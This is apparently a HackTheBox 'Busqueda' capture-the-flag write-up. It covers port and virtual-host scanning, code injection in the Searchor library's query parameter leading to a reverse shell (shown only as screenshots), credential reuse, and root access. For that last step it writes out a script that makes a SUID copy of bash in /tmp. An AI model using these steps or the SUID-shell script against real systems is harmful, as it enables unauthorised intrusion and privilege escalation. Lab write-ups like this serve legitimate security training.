HackTheBox - Busqueda

7 minute read

Release Date 08 Apr 2023
Retire Date  
Solving Date 11 Apr 2023
Difficulty Easy
OS Linux
Points 20
Creator

Reconnaissance

port scanning

export ip=10.10.11.208
nmap -Pn -sC -sV $ip 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-12 21:28 EET
Nmap scan report for 10.10.11.208
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.52 seconds
  • Based on the result, the host is running ubuntu, exploring the hosted website it redirect to searcher.htb, so let’s add this domain in our /etc/hosts file
sudo echo "$ip    searcher.htb" >> /etc/hosts

searcher.htb

Untitled

  • it’s a simple website powered by python flask and searchor 2.4.0 , the only functionality is searching for something using a selected search engine. pretty simple!
  • Let’s start enumerating directories and subdomains.

Directory fuzzing

  • Let’s start directory fuzzing while we try to attack this function
export url="http://searcher.htb"
ffuf -u "$url/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/big.txt -c -ic  

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://searcher.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

[Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 202ms]
    * FUZZ: search

[Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 76ms]
    * FUZZ: server-status

:: Progress: [20475/20475] :: Job [1/1] :: 414 req/sec :: Duration: [0:02:10] :: Errors: 0 ::

Virtual Host Enumeration

ffuf -u "http://$ip" -H "Host: FUZZ.searcher.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -c -ic -fw 18

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.208
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.searcher.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response words: 18
________________________________________________

:: Progress: [4989/4989] :: Job [1/1] :: 333 req/sec :: Duration: [0:00:11] :: Errors: 0 ::

Search Function

Untitled

  • Let’s enumerate further by exploring searchor GitHub repository.

Searchor is an all-in-one PyPi Python Library that simplifies web scraping, obtaining information on an topic, and generating search query URLs. Searchor is an a efficient tool for Python developers, with many web development needs in one, with support of over 100+ Engines and custom engines allowed, making it easy for developers to use for their web programming needs in Python without relying on many third-party dependencies. Furthermore, Searchor has a wide range of support, including command line interface and pip.

  • in a simple way, searchor is a searching tasks library the website uses it to search.
  • we can see that it’s vulnerable to code injection,

Untitled

  • [VULNERABILITY] Patched a priority vulnerability in the Searchor CLI (check out the patch here), the pull request
  • the injection point is the query parameter, it’s very recommended to install searchor on our host and try exploiting it before exploiting searchor.htb

Exploitation

Basic PoC

  • we will encode the payload because the plus (+) sign will be interpreted by burpsuite as URL encoding to the space ( ``)

Untitled

Untitled

  • as we can see it lists the current directory successfully, let’s get a reverse shell

Initial Access

Untitled

Untitled

Post Exploitation

Stabilizing the shell

Untitled

Host enumeration

ls -la 
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr  3 14:32 .
drwxr-xr-x 4 root     root     4096 Apr  4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec  1 14:22 app.py
drwxr-xr-x 8 www-data www-data 4096 Apr 12 21:01 .git
drwxr-xr-x 2 www-data www-data 4096 Dec  1 14:35 templates

app.py

from flask import Flask, render_template, request, redirect
from searchor import Engine
import subprocess

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html', options=Engine.__members__, error='')

@app.route('/search', methods=['POST'])
def search():
    try:
        engine = request.form.get('engine')
        query = request.form.get('query')
        auto_redirect = request.form.get('auto_redirect')
        
        if engine in Engine.__members__.keys():
            arg_list = ['searchor', 'search', engine, query]
            r = subprocess.run(arg_list, capture_output=True)
            url = r.stdout.strip().decode()
            if auto_redirect is not None:
                return redirect(url, code=302)
            else:
                return url

        else:
            return render_template('index.html', options=Engine.__members__, error="Invalid engine!")

    except Exception as e:
        print(e)
        return render_template('index.html', options=Engine.__members__, error="Something went wrong!")

if __name__ == '__main__':
    app.run(debug=False)

Untitled

  • We found a gitea subdomain that hosting a repository called Searcher_site and credentials for cody user
  • Let’s add the subdomain to our /etc/hosts/ file and login as cody
  • Nothing interesting here, just the website we attacked

Untitled

  • let’s Enumerate our home directory

user.txt

Untitled

Untitled

  • as we can see maybe cody and svc is the same person, so let’s try to sudo using cody password, the password is already reused

Untitled

Privilege Escalation

  • we can run /usr/bin/python3 /opt/scripts/system-checkup.py * as root

Untitled

  • We don’t have read or write permissions, let’s run [system-checkup.py](http://system-checkup.py) and check what it does

    Untitled

  • the script takes an action and two arguments if needed, there are two docker containers running, one for the website and the other for mysql database

Docker

Untitled

  • as we saw before, the users reuse their passwords, so let’s try to login as administrator with MySQL password we found(administrator@gitea.searcher.htb:yui….).
  • now, we can read the script.

Untitled

system-checkup.sh

#!/bin/bash
import subprocess
import sys

actions = ['full-checkup', 'docker-ps','docker-inspect']

def run_command(arg_list):
    r = subprocess.run(arg_list, capture_output=True)
    if r.stderr:
        output = r.stderr.decode()
    else:
        output = r.stdout.decode()

    return output

def process_action(action):
    if action == 'docker-inspect':
        try:
            _format = sys.argv[2]
            if len(_format) == 0:
                print(f"Format can't be empty")
                exit(1)
            container = sys.argv[3]
            arg_list = ['docker', 'inspect', '--format', _format, container]
            print(run_command(arg_list)) 
        
        except IndexError:
            print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
            exit(1)
    
        except Exception as e:
            print('Something went wrong')
            exit(1)
    
    elif action == 'docker-ps':
        try:
            arg_list = ['docker', 'ps']
            print(run_command(arg_list)) 
        
        except:
            print('Something went wrong')
            exit(1)

    elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)
            

if __name__ == '__main__':

    try:
        action = sys.argv[1]
        if action in actions:
            process_action(action)
        else:
            raise IndexError

    except IndexError:
        print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
        print('')
        print('     docker-ps     : List running docker containers')
        print('     docker-inspect : Inpect a certain docker container')
        print('     full-checkup  : Run a full system checkup')
        print('')
        exit(1)
  • The script defines a few functions and variables that are used to run different Docker commands and to run a full system checkup.
    • The actions list contains the different types of commands that can be run: full-checkup, docker-ps, and docker-inspect.
    • The run_command function takes a list of command-line arguments, runs the command, and returns the output. If there is an error, it prints the error message and exits with an error code.
    • The process_action function takes an action as an argument and runs the appropriate command. For docker-inspect, it expects two additional arguments: the format string and the container name. For full-checkup, it runs a script called full-checkup.sh and prints a message when it’s done.
  • did you notice this, it run [full-checkup.sh](http://full-checkup.sh) from the current directory (./), let’s check that out

    Untitled

    Untitled

  • it’s very easy, we can create a file called [full-checkup.sh](http://full-checkup.sh) in the current working directory and run [system-checkup.py](http://system-checkup.py) with full-checkup action.
  • full-check.sh

      #!/bin/bash
      cp /bin/bash /tmp/root_shell && chmod +s /tmp/root_shell 
      echo check out /tmp/root_shell
    

Untitled

root.txt

Untitled

Untitled

achievement


  • Happy Hacking 🙂